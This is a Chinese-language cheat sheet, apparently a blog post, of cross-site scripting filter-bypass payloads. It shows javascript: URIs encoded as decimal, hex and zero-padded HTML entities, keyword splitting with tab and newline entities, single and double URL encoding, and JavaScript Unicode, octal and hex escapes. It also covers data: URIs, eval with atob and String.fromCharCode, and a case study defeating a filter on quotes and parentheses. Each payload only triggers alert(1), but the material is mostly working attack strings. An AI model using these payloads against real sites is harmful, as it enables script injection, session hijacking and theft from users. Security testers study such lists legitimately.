编码转换工具:

http://bianma.51240.com/

 

html实体编码

<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制,例如:

<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab

<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车

<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行

<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号

<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持

 

URL编码

<a href="{here}">xx</a>

<iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>

这里结合一下上面说16进制编码

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>

 

javascript编码

<script>alert(1)</script>

Unicode编码<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为”alert”,但是需要注意像圆括号、双引号、单引号不能编码,否则在这种场景下无法弹窗。

例如<script>\u0061\u006C\u0065\u0072\u0074(‘1\u0027)</script>这种是无法执行的。

测试一下DOM的环境,测试代码如下:

<div id='s'>test</div>

<script>

var s = "<img/src=x onerror=alert(1)>";

document.getElementById('s').innerHTML = s;

</script>

<img/src=x onerror=alert(1)>的以下编码都可以弹窗:

Unicode: \u003C\u0069\u006D\u0067\u002F\u0073\u0072\u0063\u003D\u0078\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E

八进制: \074\151\155\147\057\163\162\143\075\170\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076

十六进制: \x3C\x69\x6D\x67\x2F\x73\x72\x63\x3D\x78\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E

在JS事件中使用Location跳转也可以,例如。

<input onfocus=location="javascript:alert\u00281\u0029" autofocus>

 

DATA协议(IE不支持)

<a href="{here}">xx</a>

<iframe src="{here}">

例如

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

<iframe src="data:text/html,&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

<iframe srcdoc="&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

 

Eval

atob:

<a href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> //需要引入单引号或双引号

String.fromCharCode:

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

 

案例:

参数输出环境:

测试发现参数这里过滤”和(,无法输入”就无法闭合,发现该参数的输出环境在src中,那么通过javascript伪协议就可以执行JS,但是因为无法引入(,所以需要进行编码才可以。

1)10进制和16进制编码绕过

HTML标签中是支持10进制和16进制编码的,那么先将javascript:alert(1)做10进制编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;;//

因为参数值中有&和#,需要一次URL编码

%26%23106%3b%26%2397%3b%26%23118%3b%26%2397%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2358%3b%26%2397%3b%26%23108%3b%26%23101%3b%26%23114%3b%26%23116%3b%26%2340%3b%26%2349%3b%26%2341%3b;//

 

2)URL编码绕过

SRC标签中是支持解码的,也就是我可以对过滤字符做二次URL编码绕过

javascript:%2561%256c%2565%2572%2574%2528%2531%2529;//

 

参考文章:

http://su.xmd5.org/static/drops/tips-689.html

https://security.yirendai.com/news/share/26